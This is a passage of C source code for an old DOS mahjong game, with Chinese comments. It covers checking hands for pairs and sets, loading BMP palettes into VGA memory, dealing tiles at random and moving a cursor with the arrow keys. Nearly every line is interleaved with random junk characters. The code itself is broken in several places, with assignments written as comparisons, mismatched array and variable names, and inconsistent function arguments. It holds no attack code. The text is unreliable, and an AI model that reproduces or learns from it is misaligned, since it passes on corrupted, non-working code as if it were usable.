7 `8 z: b9 G) d5 ^5 Dif(kl==8)! f2 W# s: K/ M: H/ D& S. b  x
break;) I' g" b1 h6 ?* c, t
}
' b3 |. x+ e% H3 l$ w3 x- N% qtest[ill++]=pt[kl];
; k) M6 G( i/ u; _/ N: Y, r* R$ x- s7 Y}
) `* C1 [. }9 N6 F3 s% K8 \isthree(test,tt-2);
5 k% {. u" G, g  M, V}, ?7 ^; S" r/ k$ H+ J1 D& M
}
' u1 z# E: E6 _. x. w) U+ Delse if(tt==9)
! S0 m( M8 ^0 d( Z  Z1 z5 fisthree(pt,tt);
+ T& I3 _8 J) velse if(tt==11)9 I7 c. {1 q0 A7 [1 w
for(i=0;i&lt;10;i++)
4 \# T4 e# q! \( A- h* ?{
$ R/ `4 G  v0 ~/ a- R4 Zfor(j=0;j&lt;2;j++)
# h+ k, a  C0 _( y" n4 p5 N{test[j]=pt[i+j];
/ q1 f+ F. O& ^/ E2 o# Y}
/ V6 P7 [$ [( A1 z' A' Tif(istwo(test))/ b7 H+ I, {: }) p; P
{ ill=0;
3 U7 z+ q( z1 R& u. cfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/% s& `0 |6 F9 J
{if(kl==i)3 ?- d% X5 c* E" v9 f
{; [; [, F: q* m
kl=kl+2;
* i0 `9 W: a8 `4 S6 c/ bif(kl==11). }; f- I2 ?9 }# z8 a( W, {
break;
, y. I+ j! x0 j- M5 o9 d+ h! o}; M" E: ]* J! c0 I# J
test[ill++]=pt[kl];
. n& ^2 h3 k! y, J% [4 S9 {& K}( h9 `6 T% \7 d! L/ B7 X: V: V
isthree(test,tt-2);
. b+ D; K/ c6 Y; j% N9 z9 A& H}
1 \. N, X; p6 m% A}
6 p. n$ u2 R5 m. ], }0 welse if(tt=12)
# r0 f2 p/ T+ I+ Disthree(pt,tt);) {. T* |" ~: t# F' C
else if(tt=14), a- J! q* y, m9 t! P
for(i=0;i&lt;13;i++)- P/ [1 `2 a2 `" A. B
{
5 U6 O5 F+ ^' I' Mfor(j=0;j&lt;2;j++)
7 x5 u2 A  x. }' ~7 b7 [0 V9 W{test[j]=pt[i+j]; ( d$ }, ^1 A, V% N- `" H
}' Q; m1 T( W' w1 Y+ @$ E! n
if(istwo(test))* }# }5 j; i: Q, y' }1 X
{ ill=0;+ P- M+ V* G9 r+ p
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/  n4 e' D& w* ~' E& }
{if(kl==i)
) @- K( v4 S. h8 v{
! h3 Y& y) X( M" X- ^% Ukl=kl+2;( R% A0 l4 |! M8 x1 A4 ^. {, \
if(kl==14)
) F0 v  N: U9 S, Z3 y. R; Y. \break;
; W  X' [9 K$ d% y/ Q  y; r5 r- ~}2 d3 M  s$ @& L- X% Z( P9 x9 [
test[ill++]=pt[kl];8 m4 F+ J  F: y! V) B1 h! C  |
}  ^( a0 b# F* B% f4 R& W
isthree(test,tt-2); : n: y, M  y8 @4 U
}
" x3 R, `3 I5 v6 _" o}
) l% ?4 L4 j+ T1 E" ~4 Jif(ii==2)
# ?* Y' Z5 D* t& z6 ~# V0 histwo(pi);
  c5 W2 o" h' E% Selse if(ii==3), |. b' k: r4 y& G/ I: c( D$ s. U5 ~1 C
isthree(pi,ii);/ m4 O( t/ }5 u6 K- J
else if(ii==5)
( H* K" {% }, C1 U/*pi[5]原始牌数组,假设已经升序排列*/4 f% I: @. n+ ?( F
/*test[3]用来放置测试牌的数组*/
& M+ y1 c4 |. E' j- Ifor(i=0;i&lt;4;i++)  `4 q9 I. x, g% v
{
3 I! }& R+ g4 ~for(j=0;j&lt;2;j++)( w6 I8 W6 w& g' ~( d- d$ Q* T& y
{test[j]=pi[i+j];
8 G. `; b( X' O) H4 U) D}& B8 G& Z: U6 L. u3 v
if(istwo(test))3 y0 t  i& K# H3 q% W2 s
{ ill=0;
/ Q8 T, d) N( A1 i6 G( ofor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
' h0 f8 n3 z  G  N{if(kl==i)3 x" L& z$ c+ G, w; Q0 B; b
{
4 X: M0 x. Z/ v! {4 ukl=kl+2;
% j% W' W- a0 c9 {% fif(kl==5)
/ s( F. h  ?' y7 Z2 f$ ~break;
: N  }' ?$ }9 g1 d}
% U% R9 l# d% c: v1 dtest[ill++]=pw[kl];& G% u' c- z3 I) Z4 Z
}
1 [3 }8 d, A, h! G* n, Nisthree(test);8 `4 s% G6 Y4 C/ {" V! l) Q; i
}/ M, H2 H- F. l- ^- m; L
}
8 \" b: `$ x7 F0 ~. m) uelse if(ii==6)
3 D0 Y. d# O) i  histhree(pi,ii);
, |2 @- w/ p' `else if(ii==8)7 w7 p  j/ O5 {
for(i=0;i&lt;7;i++)
' B5 v6 n# Z+ X& I1 B{
# T  {. f  l1 G' ^- m: vfor(j=0;j&lt;2;j++). H4 ~+ Q8 S0 R2 s. k
{test[j]=pi[i+j];
' Q! i# `' `$ m" H' E}4 X8 y6 r- t/ k$ n% q
if(istwo(test))
: v3 {6 l' L8 q" O: _0 U{ ill=0;# _$ c7 D$ L! j+ \$ a9 O
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
+ o) G0 Z4 @# z$ l) f{if(kl==i)
; Z, @) H" d# \8 X6 [- v+ ?, s{. I% K, e: o/ p! d3 {
kl=kl+2;( w' Q1 W1 n$ L' y: T
if(kl==8)
: p, g% U- `% _& J& ~" v  t- Ebreak;
6 a! D$ ?4 j/ x+ C, A+ _' O}8 l2 l. l* m0 T0 Q! s
test[ill++]=pi[kl];- x1 L. E: W5 s6 ~) n
}
* g% I( m! j. c+ i5 h$ Disthree(test,ii-2);. R# d& K( o' z2 i, ~
}
9 s# L9 F7 b9 k, v}
% V/ [* H! u6 p( t8 a8 nelse if(ii==9)( R$ V: `4 ?: N6 `/ b
isthree(pi,ii);; H( m) W$ B7 a# ^# \! h
else if(ii==11)$ t# o: {9 {2 Z' q
for(i=0;i&lt;10;i++)
% w7 j" A( K; b. {" l4 O! e{) D% O$ k: D% S3 _* b
for(j=0;j&lt;2;j++)
- B& ~2 R5 d4 p, G{test[j]=pi[i+j];
$ w( r* S7 j+ H2 c- ]}0 }/ h) m* t5 Q/ K7 Q* i- x
if(istwo(test))# r5 v: P; w9 \% v& G  X' }
{ ill=0;
. K; x# C0 d1 Z8 O- Q4 ofor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# L' ]5 O5 ^! k# O& ?{if(kl==i)
/ o/ ~1 N! F9 b  ~{: _' ]& F7 W2 M
kl=kl+2;2 z$ g& q3 Z+ Q+ C& M
if(kl==11)# G4 V3 J( Y6 z2 K- D
break;9 x3 y: `3 c/ p" A0 t$ D& e
}& e$ ^) J! j0 ]: J! s/ |! S
test[ill++]=pi[kl];
, t( [4 j# |" y6 \3 K5 J% O$ T}1 ?1 f! B1 r5 a1 v8 r! _- O2 W
isthree(test,ii-2);
% T. J( S0 Z4 I5 I}/ U, T; ^8 {% ~1 ]* R; S
}
" S0 u% y" x# r) b9 }3 telse if(ii=12)' m9 Z& W- `1 c  ~
isthree(pi,ii);
* V# i/ Y: Y9 S, X! celse if(ii=14)' \1 a0 F8 L# U  X0 c/ z
for(i=0;i&lt;13;i++)
% p/ x3 n) R+ Q! r& u2 c- M: ]{
( j% Z1 v7 {) h3 A) @  n0 O% rfor(j=0;j&lt;2;j++)
/ M% \8 j  M+ a  W" ?5 @% \: a; h{test[j]=pi[i+j]; * D: V9 {5 L2 F9 [" x% u: u
}
/ G2 z  K. x) z/ j, Iif(istwo(test))! K* F% n4 G! _" H5 k3 P$ r4 n
{ ill=0;7 k9 ~: N9 V* H% g8 y. D- x! {
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/+ L4 i) g$ V' k+ |# d+ J
{if(kl==i)
0 ]* W  n8 c2 {* i, p8 h- D9 e* s{2 n( \5 z$ L: l# D
kl=kl+2;
- t- G, l- v% m* T( @" aif(kl==14)
$ l; I8 F2 X) \break;/ `9 N+ f2 @$ U* F. d; }5 o
}
6 k+ F4 h# {1 A; v5 h, Ptest[ill++]=pi[kl];$ T! t6 f: E+ l' n9 E- c& M
}
9 e, t; \8 q+ ~isthree(test,ii-2); 1 R$ f8 N' ]& t/ h2 u( W
}) u3 ], Q6 \& w$ P& Y7 x1 s) H
}
; X9 F9 ]. q3 j) l2 ?if(ff==2)
6 P5 n7 `& G: L8 q! x! Z; cistwo(pf);
/ U+ I& s* k+ jelse if(ff==3)* E$ b# l2 }9 B/ L- s9 C
isthree(pf,ff);% B0 {+ j  w& X+ n4 I. N
else if(ff==5)
- g) i' R2 @" F: L: M( S/*pf[5]原始牌数组,假设已经升序排列*/
- V2 C( [+ h  a/*test[3]用来放置测试牌的数组*/
+ M+ W/ ^: p& [8 r. afor(i=0;i&lt;4;i++)
3 Q" j& W& d0 e8 m. t# v- O1 E{2 u8 ^: w. E& {( o
for(j=0;j&lt;2;j++)
& P4 a1 ]" e/ E4 U' v. X; U{test[j]=pf[i+j];
2 w8 Z  j8 v; q; }$ }. @6 k}" `2 z% t& H6 U, b# c: Y
if(istwo(test))8 |" x8 A( C) S$ M7 O/ E0 b
{ ill=0;5 z& J! e/ T$ e& l: B
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/8 ]. Z) c3 h$ v
{if(kl==i)
4 ]/ N+ A' n, a. Q{
' E) o4 D2 |" {kl=kl+2;$ @5 U, G2 R( C3 o: x8 c
if(kl==5)3 o  i& n! C0 C- D* s7 ?
break;
  Y. e( a* ^: z8 S' U}
0 M$ w- a6 e. l5 e3 v5 Ttest[ill++]=pf[kl];
' M; R7 V" B3 G& S" @+ B}
4 [) Q, i' M1 a8 Zisthree(test);
9 c) \9 @6 v( O9 K, g/ \}+ j2 L! u+ j2 _6 D" |+ O+ P. |  Q
}6 l: L$ f7 z  n' g: m7 L, S
else if(ff==6)1 j! D' {' H, Q3 n3 H
isthree(pf,ff); " _# ?; p2 g2 _, u( h' ]5 l
else if(ff==8)
9 x& V$ t" y6 v& Pfor(i=0;i&lt;7;i++)* v% S( a6 [; |8 b( }7 l
{& i: Y2 d$ E4 w5 ?* N; E) H0 x# v; b
for(j=0;j&lt;2;j++)
( Q' r* U( _% }{test[j]=pf[i+j];   g8 q; o( N- a9 H& c
}
( d& j" n9 N  f; Qif(istwo(test))
& v+ x6 S3 k8 @4 k2 X{ ill=0;  Q" m; z$ @) Q7 X3 A: m) @
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/9 K% G( W. V. I0 K
{if(kl==i)
+ I: c! o) T0 u& ~{' ~. ?) R3 h* `. C! h
kl=kl+2;
0 w5 F5 g# D) A- kif(kl==8)
) H7 a2 u: i: `7 J. w& O% lbreak;8 Y% N6 ^. V8 b
}
6 q& @# L  X! K8 I3 i& g0 D9 ~test[ill++]=pf[kl];
8 P& P$ ]$ n+ c. V  z& F" I0 P}: l9 `- Q! F9 X9 b# Y
isthree(test,ff-2);
% Y. L1 V* @4 J' O- d# e3 S}3 t2 u8 f& I2 y; J0 Z
}
& L# V$ U$ j* }/ \8 relse if(ff==9)- p5 y) R! L9 t* S: e
isthree(pw,ww);
% M2 r5 ]$ v0 E& ]  z9 N  ?, T# ^else if(ff==11)$ n) E: A8 q4 f1 n
for(i=0;i&lt;10;i++)
( q# t8 J4 t3 t' ^9 Q! H{1 U! k% E5 h& S
for(j=0;j&lt;2;j++)1 h! g! E) ~! Y' a" n8 B3 m; u0 J) D
{test[j]=pf[i+j]; * p9 L# W; i$ z% k8 _
}! @! w/ f  H3 H* A
if(istwo(test))
0 M: T& B+ Z; ?{ ill=0;; f1 h7 ^8 A, ^0 K: C
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/4 x9 f" Y; T' X$ Y# E
{if(kl==i)! z4 f$ g4 y5 r9 P
{
4 a1 U2 D/ s- Skl=kl+2;$ h& t2 f1 j# e1 x: _3 [
if(kl==11)
6 ]1 n0 f: y' C) Cbreak;3 M5 y- ^. h' D
}
5 y: d& K2 B& {, p4 K" `+ {1 Ptest[ill++]=pf[kl];
/ D) L. K! q6 a$ p}+ e; c5 K7 M% _. O9 @
isthree(test,ff-2); 2 E( @* t4 j% q: i
}
3 |  P+ t% \6 t. g3 n$ c} ! v0 t& p( L* A# j$ H- }4 B
else if(ff=12)( |/ ^- r9 k* S- f7 t6 ~: r
isthree(pf,ff);
7 [/ A& Q3 j$ P7 e3 Nelse if(ff=14)' [3 N& u8 M. `% ~; T% g/ ?. _7 G
for(i=0;i&lt;13;i++)0 f5 ]& k3 f6 {& F
{
3 `; S9 Z1 d+ X$ G) ?( }9 ufor(j=0;j&lt;2;j++)  a$ w# C6 U$ k. F- L
{test[j]=pf[i+j];
3 |+ r: A# P3 Z, B+ s* L' \+ j5 T}
  H, X. k/ K' g- _if(istwo(test))
  ~9 S8 m- B$ Z) e; Y$ y{ ill=0;. U5 J3 r/ v& e3 C: M( [8 ~
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/' P# F! _9 H- D) g  F! j% r7 W  D
{if(kl==i)
$ H3 Q1 J5 `" x7 W% P{
( P- W' R/ |& e$ ?5 ekl=kl+2;
  G; c. y8 P. r$ h" N1 Z+ xif(kl==14)) I& |) F- F! [' I( h
break;
! X0 u4 h3 E* I/ R}. K/ t* ~) ~6 T% w
test[ill++]=pf[kl];
" V3 P- [  o, i( E( j6 n( T5 K}
! ?; s: y5 c0 h$ Q3 h# Zisthree(test,ff-2);
% j9 ]- |% u9 k9 v4 k}
& c% X* h& c4 d. `# V* u} " T$ t- W' o5 h/ Z
}6 t+ I; Q: t  l
void main(void)
' v# [+ K% \/ `6 u5 d, w. v  i+ ?{
/ u) s1 X4 ?5 h8 V: L0 h, dFILE *bmp;  Y; P$ T9 D7 S5 r$ t2 Z$ S" U
static char *name[2]={"ff.bmp","logo.bmp"};# {! s3 E1 Y; ]
char *p;8 T% @- \. f3 i+ \% u- W8 r. R9 Z2 g
int *lingshi;; e1 K6 c: r: c+ x, p# @) {
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
7 u! ^* B$ A% x- ]2 k$ wint every=0,w=0,x1,x2,y1,y2,every1=0;7 V, d( r$ n$ X2 V1 K4 @2 L
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
9 f7 G5 n, G' Y8 q. hBYTE palette[256][3];
) V) \1 J/ ^0 I2 e# w/ S9 o4 OSETVGA;8 Z4 a" v. F, o% g1 W( F4 n: _
getch();  m2 Q1 F( i$ `+ a- M
while(t--)
9 j. v6 C- J7 D/ }{( ]5 `9 R6 V/ Q! G" r
bmp=fopen(name[t],"rb");9 l  o# @; d, F! \% R1 X  _
fseek(bmp,54,SEEK_SET);
3 H3 m, h2 o8 |for(i=0;i&lt;256;i++)
. x/ S/ U% u* B* |{/ v1 [: \! T3 G" M0 @
palette[2]=fgetc(bmp)&gt;&gt;2;
! D( D" `: O4 Z! ppalette[1]=fgetc(bmp)&gt;&gt;2;$ }# R: \. s. A3 Z
palette[0]=fgetc(bmp)&gt;&gt;2;
3 y( L8 G- o: i; P. A- {, afgetc(bmp);
0 f8 U7 N6 B6 J4 F- p3 TSet_Palette(i,palette[0],palette[1],palette[2]);2 o6 U* B7 v# y8 ~$ }0 Y; W! B1 D# b
}
  _6 V! s& E( X: b* R' @& o6 O; _4 Ifor (y=0;y&lt;200;y++): R3 ]. I/ s$ B! y7 y- A7 g3 v# B
for(x=0;x&lt;320;x++)5 L/ \( K# Y& `' f2 k' |
pokeb(0xa000,y*320+x,fgetc(bmp));3 ~9 J- [, {1 h' p* N, |& J
fclose(bmp);
' _8 ?. d8 _; X- N& Z$ k! ?$ agetch();
1 n+ s1 u6 h/ P}7 r0 ]: s: o7 @+ ]. o3 f
getch();
$ U( [" S3 `9 k: |( H9 d" Y. D" ?$ `fillRectangle(0,0,320,200,0);
) s$ L, Q$ H, J8 Z# dgetch();3 |, f: H4 n, r; s9 v9 W( |
randomize();
0 V! G9 }0 j% V& Tme.m=onetothirteen;
. |6 [+ j# J1 r/ l2 B; d6 ~while(me.m&gt;0) /*先循环,给自己拿牌*/! |# D9 T$ Q% ?$ d
{6 Y  @9 v# o4 E) \# i

7 h, m. v9 f" D( Y& N0 z/ Wtemp=random(136);8 Y9 w+ p+ }( M2 B5 C7 S+ K- X
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
' G4 d' k8 O3 M$ B: D0 Z2 s, s{4 N: b9 n2 d$ Y& t6 k) ^2 T
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
" L3 F4 h' G- m# t% ^) {1 C* b5 gme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/3 v2 G: a: h/ P' s# j1 z3 Z3 I# X
me.pp[n].number=temp; /*第几张,用来排序*/
, k; V: Q2 U- `5 X( Qm[temp].data2=1; /*判断牌是谁的*/
( Z0 p& s  B8 G! b) Okk=1;
9 b, o2 [# z$ q" O3 }}/ z4 Q9 J' S4 _' M7 r0 F
if(kk==0) /*判断如果又选择了,就从新再选*/' m" ~0 v9 |* n# i% H
{
' R  [- ]6 i- T. Q3 J5 \9 {- p" N1 Hme.m++;- e( s% S$ |9 V& I  o2 p
n--;
  Y+ a% F, O+ C, ~/ q) j4 R}4 N  p  f% V1 S0 j5 t
me.m--;( _* {, G( E) e& h8 ~) X# I
n++;" Q2 }5 k, n# D  M
kk=0;
4 J& N  Y: q% O# h& s}5 E, P1 g1 |: T! Z+ S
me.m=12;4 |. ~# s' P) |, u
melipai(); /*理牌*/
! }3 _4 H9 |( s( Z
4 M+ Q+ _9 v0 Q  e; O! tn=13;
; I6 Z$ a: y! o3 Swhile(l&lt;n)
6 F! _1 Y( |. M{
" F+ B+ u9 T5 f8 F. d0 Mz=z+20;9 m# Q! [/ A, O& Y
showbmp(l);$ d! A( @1 N8 P0 `  g. b. F, M' ~
l++;
' ]( v; z# q) F5 J" g8 C' Y$ W: f- v( T7 `
( w. k  b8 N( f- e- c& B2 }' K}
* c. D4 K$ c  r. C- H' prandomize();# b' r& }* R' E0 [$ k
computer.m=oneorthirteen;3 V  _! N& l. F! W
n=0;
" z+ P7 T* h9 J* d. i4 Hwhile(computer.m&gt;0) /*循环,给对方拿牌*/
' f8 c6 z/ \2 o/ F  B6 \' o/ P* w{- W* n" k- q7 [3 C' `& P  X) ]1 r
temp=random(136);% R. y' `: ]  r
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
: K# r* P9 R' J/ ]; P3 ?; M{  k0 F1 [, F' b/ A8 w! ?& P6 v
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
8 o% t8 ^" O0 ^# l5 w. H& o! _) m, Ncomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
( }7 t; ?) `* }: H- lcomputer.pp[n].number=temp; /*第几张,用来排序*/
. R2 d+ _/ {, hm[temp].data2=2; /*判断牌是谁的,2为电脑*/, r1 q. i3 J) [- p
kk=1;
8 G, w7 v, z+ |. E- w& C}
* n+ x1 x0 \( A/ |" Lif(kk==0) /*判断如果又选择了,就从新再选*/
5 z1 y) J8 x0 p; E* V, M{
" p2 R9 l6 g: F, b; J) ucomputer.m++;
$ b) `  U! ]  T$ b/ v2 L7 `6 O) A. Dn--;1 P' n6 {7 e: T; N
}- x% n9 v% G2 p+ A5 X
computer.m--;
2 E/ }1 q- s; R" e- D3 J% Rn++;; C; k1 r. g, J9 x" j9 t: A# @
kk=0;( V) _( b3 |% L" X
}
1 w- W4 H$ Z3 A: n4 scomputer.m=12;" |. m, |: T% P: G, d! o
comlipai(); /*电脑理牌*/7 P4 B  T1 a  W6 ~
n=13;
- o8 t# U+ u! |& u5 o# ^while(ll&lt;n). T- e5 L2 x5 a) y  X+ K
{
# G7 I( N1 n, Z# w- S( \zy=zy+20;
4 `* v% a2 F! ?8 T0 D) ]" [: `showybmp(ll);
2 `/ @$ I3 E  B, M/ Hll++;
8 G2 k+ I( N6 \" `. {1 E}
. ~" m7 t4 P1 e4 M8 n6 f; ~7 z) {) }& M2 Z+ M
z=54400;
3 k# p% n: u7 ]1 Z) h. E4 u& I( _while(key!=ESC)
, e4 m( z4 Q0 i9 d) z) F1 ]/ R6 n{ ; e4 K1 k( }! m" I: E; [
0 J8 y- B, g( s
keyy=bioskey(0);
( e9 O, m, ~6 O0 Kif(keyy==LEFT)
  O6 T1 N+ U( M1 W3 K( O+ s{ w=1;
3 O) R4 d8 O9 b6 j% Q5 B3 \- kif(every==0)
0 p# {$ B9 P7 ~3 w{
) C  P: q8 h2 ~& t, h. ^: Devery=1;4 F, q5 [9 y/ l$ G( |- }- p
z=54440-5*320;
: D3 Y% E/ o) w  V
/ M# N2 \* u- B6 E5 b}4 |6 D) }! S& C# ?; R: \* u& m
zz=zz+5*320;# j! Z# i/ I$ c
showbmp(every);9 k" I8 K& {  S/ @
if(every==0). `7 M% Y6 B/ a& O
{4 n' Z4 R7 o1 M; j4 j6 A) G/ m. J! q* s
x1=20;
; ]" Q$ U$ F& b: C. u. sy1=165;! \+ N3 r6 j8 j$ @$ e! i
fillRectangle(x1,y1,x1+20,y1+4,0);
& D/ v. Y3 }/ N, ^# m}' Y; }8 o" `3 E: }
if(every==1)2 L, n9 a/ m/ F, U  v" c- d
{. h1 M6 ?7 e# g% M
x1=40;
6 @* l: }1 b: t$ @y1=165;! E$ Y& C/ m7 h3 |. N/ L* \
fillRectangle(x1,y1,x1+20,y1+4,0);
! E) M3 K+ |7 z. _( t3 V}$ i2 U& W* J$ i# C: U
if(every==2)
$ b, `, a7 W' H/ }8 ], y{
7 F" N) L: x4 Kx1=60;
6 a5 t5 u/ L; ]9 S* @1 N' P2 h( w+ dy1=165;2 ^$ d. v7 T6 `
fillRectangle(x1,y1,x1+20,y1+4,0);
8 v" ~8 Z& H2 a- V}
) C! g. w% O+ }1 }8 hif(every==3)" x, g; U* l. ^  O' p% G
{
0 Q+ y; m: B! d6 |0 Ex1=80;
6 ]) @& A! Y! e5 @) z1 by1=165;/ z2 Q! y3 m. n2 J
fillRectangle(x1,y1,x1+20,y1+4,0);) p' L) K, l) E8 R) F$ m' W- X5 u5 L
}0 |" B9 C' j1 @, k. C7 m) N
if(every==4): G& K( f8 M- ~5 l8 b
{. ^# ^+ A6 P7 w: `4 u
x1=100;
) L5 q# s1 H/ u0 q/ }/ z: fy1=165;
9 B. M; R" I3 _1 e9 bfillRectangle(x1,y1,x1+20,y1+4,0);% X+ i8 _$ B. x
}
+ T5 S7 |' {) V1 k/ C3 ?" dif(every==5)0 B- n( x/ S& r
{/ s& F6 ^- q. K! H& q; K
x1=120;
: Z# Y4 W# I3 a, K2 O4 R: M& Dy1=165;
! x; G& I, k7 n0 ]fillRectangle(x1,y1,x1+20,y1+4,0);& q/ s9 i1 q: ]0 b
}
3 X% g- ?* V; z9 U$ dif(every==6)
, x; F/ R6 K8 W- P- q! h{
/ s& Z- K/ t. B. _# w/ e+ t) K6 Nx1=140;$ K1 _6 [4 p0 |
y1=165;
4 ^, y- ~7 v1 Q- l7 S5 `+ m* b/ |fillRectangle(x1,y1,x1+20,y1+4,0);- s) [' q: E+ D& F& ^
}
" {8 E5 V- W5 w! P: }6 v$ Mif(every==7)
' U" b& `6 J. D0 I# s{
% `9 d" `7 Z3 a) Z. \" \x1=160;
: M) L# }. s+ X( G6 Ky1=165;
% t& ]5 i0 A: ~+ RfillRectangle(x1,y1,x1+20,y1+4,0);
  _0 O- J7 I3 x) v7 |7 U9 w}! ~) s6 _! q% }* N/ C' V% Y1 j( a
if(every==8)
7 P3 n9 T! h* w$ ^{, a% c! f7 b3 [% G: j2 I% ~
x1=180;
3 P: d/ s. Z, d$ yy1=165;3 b/ A7 g" T5 V
fillRectangle(x1,y1,x1+20,y1+4,0);
* m' r' \) S, L/ B! t$ {: v/ O: n}
, u; L' m: r7 Q! vif(every==9)* M! S+ ]. S) O4 @1 p
{
) T/ V, a! Y! E) Bx1=200;( a8 I8 p- s7 k2 ~
y1=165;" F8 i2 S2 M8 b) F
fillRectangle(x1,y1,x1+20,y1+4,0);
3 [2 Q# s* S( [) N! O! H' \# G}
7 G) J. e* F- ?' h4 j6 a9 x: L0 C- iif(every==10)
" s# O8 a3 U+ v: N' D{) X- j# l9 M" w  T" G
x1=220;
0 x- r. m1 o3 g3 `4 k2 r, _9 ty1=165;6 u+ Z' L2 i8 J2 A& H# W" |: @1 x. A
fillRectangle(x1,y1,x1+20,y1+4,0);3 m+ w. S+ e, k/ f( ]  ?! Q% d
}4 b1 t+ S- n9 m( J( V# G
if(every==11)( m* D& z' i# }! E. O- M" [) a
{
. u0 S8 E  x' O. Y9 f* wx1=240;
( u# [8 u0 F  H) Y- o% H  [4 hy1=165;
. ~2 l' N7 |# }. P# B6 OfillRectangle(x1,y1,x1+20,y1+4,0);9 z5 {# ?2 {* m8 f/ ~& r% ^
}- G) F' H/ w6 J
if(every==12)" P; I! k& S7 |- {! Q* `1 b
{
) G6 O2 Q, o. {" _, m7 X  f& \* Nx1=260;" y4 t% K/ S5 u3 [' {0 \
y1=165;* D6 s& g# J$ R5 w
fillRectangle(x1,y1,x1+20,y1+4,0);4 y& d# `; n. N% a9 u1 y+ k# g# w- z
}; j6 |' F" t! t( s: U
zz=0;* L' g* x" h: c" _; y# m1 W& }
every--;/ ]* s) N4 N7 R6 V. C2 {
z=z-20;
. I" S. O# W! A0 j}
/ M' G' n0 q' w, qif(keyy==RIGHT)- E( c8 t$ l& |/ F
{ if(w==0)& C1 t4 y0 A* z  a* i
{4 O0 Q, I* ^/ @# y  j9 o
z=54440-5*320;
" f* \9 r' q5 Y# ~: l8 l7 s+ ]: gz=z-20;
  _. O# I) z& P: o5 tw=1;
1 `0 q0 V; g3 e, {+ }- [) d}$ }: v; I4 |$ o* G# H6 [% R* m
if(every==12) . A& H7 f4 N$ w8 E6 W
{# N0 y- q* t$ _0 T2 G
every=11;
$ f& O- B) ~6 `, [: _9 Az=54640-5*320;: D3 |% r8 M* |  T* ?/ @
}
  a9 v/ F" ^9 o1 R3 f* C" Wzz=zz+5*320;
2 ^! b+ s. {! M- jshowbmp(every);
5 g) E9 n$ {% G% W( w" H' mif(every==0)& U8 O/ G: V# f1 D9 r. d; b3 E% E
{
" @6 T3 }* m% ~x1=20;+ x0 C; U5 h' B, I4 J- {+ v: q8 D, ^
y1=165;
6 F9 F8 }, J* m  }% w& \3 dfillRectangle(x1,y1,x1+20,y1+4,0);
+ ?( x/ f* v" y* H8 S! W0 u% [}( b( N2 E+ `  K- c& G
if(every==1)
9 d" G! w: e1 J7 j1 Q1 g0 s! Y{' i* r8 G/ ^) G/ g4 {6 ]
x1=40;
/ [6 K4 ^: L2 B1 ^y1=165;
) y( T! p0 S- P0 C9 K, G% QfillRectangle(x1,y1,x1+20,y1+4,0);
4 |8 R. r& j6 f$ r2 [- U}. D3 g% R' _8 O& C: v0 G6 _
if(every==2)
  \9 a- V# K: p9 L{
4 X* A9 c6 E1 E0 e* R! o& D1 ^x1=60;
0 e9 @$ a; f* q9 By1=165;' l/ ^, C$ ^7 q; [1 x. ^. p
fillRectangle(x1,y1,x1+20,y1+4,0);
+ d. z. q8 G6 h  R# m}1 c4 P' ^2 B/ {! i
if(every==3)
. G0 S& l" w( a1 P- s7 n0 n{
, x  E4 F2 l' a. o2 f% q" Q) }x1=80;
9 {0 r) Z3 X) }, h& E( S. w% @y1=165;
( o; W; o- G% T+ gfillRectangle(x1,y1,x1+20,y1+4,0);
1 f' }) q4 e6 n7 ?  @. @* q# k% M7 Q}
0 j! z! @- L0 O* n& m8 hif(every==4)% G# A1 i* c% ?. A
{
; T" G1 P3 ^) zx1=100;
" \- o0 M  C, M& jy1=165;
/ L  h6 P4 i8 H" c2 H# i' ]fillRectangle(x1,y1,x1+20,y1+4,0);' n0 G/ N! |1 [5 S% w: Z% S" H
}
+ j# w1 Z# m; o( f: zif(every==5)
/ [, j" Q; `* D# Z( S) B{' `% u* w8 k+ K" q
x1=120;* ?) U" H6 K- J- Q% P  N
y1=165;
% `9 Z! I) V/ k+ O+ H0 kfillRectangle(x1,y1,x1+20,y1+4,0);
; g8 R/ f% g3 [& i: H: E}; {- [: b4 L3 w- P, g
if(every==6)  o4 s5 c! b, \
{' a0 J' _* x# k
x1=140;1 j0 u  ?! B+ _6 y# Q
y1=165;
' p: J2 P# F7 s$ CfillRectangle(x1,y1,x1+20,y1+4,0);5 L. o, X6 m4 ~6 L
}
) F6 o* b% f/ T8 P1 a! r3 \& ]3 P0 Qif(every==7)2 \6 s/ b, U6 o: J2 ]
{
8 k% O1 D; _9 Z: z2 R+ @x1=160;
) M& T' Q- G: }. P( u! e7 v, U! ^y1=165;9 E" W3 [0 z* J. V
fillRectangle(x1,y1,x1+20,y1+4,0);( C  N; V* ?3 S. v
}
; P- \" v0 [9 d: cif(every==8)/ C& U6 ?7 y# H2 j- v0 P
{4 ~2 H; F( I9 C1 q: P4 z9 {3 q
x1=180;' L5 p  G: E5 j$ c
y1=165;
4 O2 y0 ?  m/ _6 S4 hfillRectangle(x1,y1,x1+20,y1+4,0);1 Q3 s9 Q* d( {3 G/ f) O; z/ c) a
}- O$ d: d! q# W6 F' m: @6 K
if(every==9), B2 @- @- D5 X& {
{
5 X7 s" ]2 J$ S. P& G8 q2 wx1=200;
5 R) g0 {4 U% k" V1 d6 V! \y1=165;, O) Y9 i; g% q: ]# k0 [$ M, t3 J
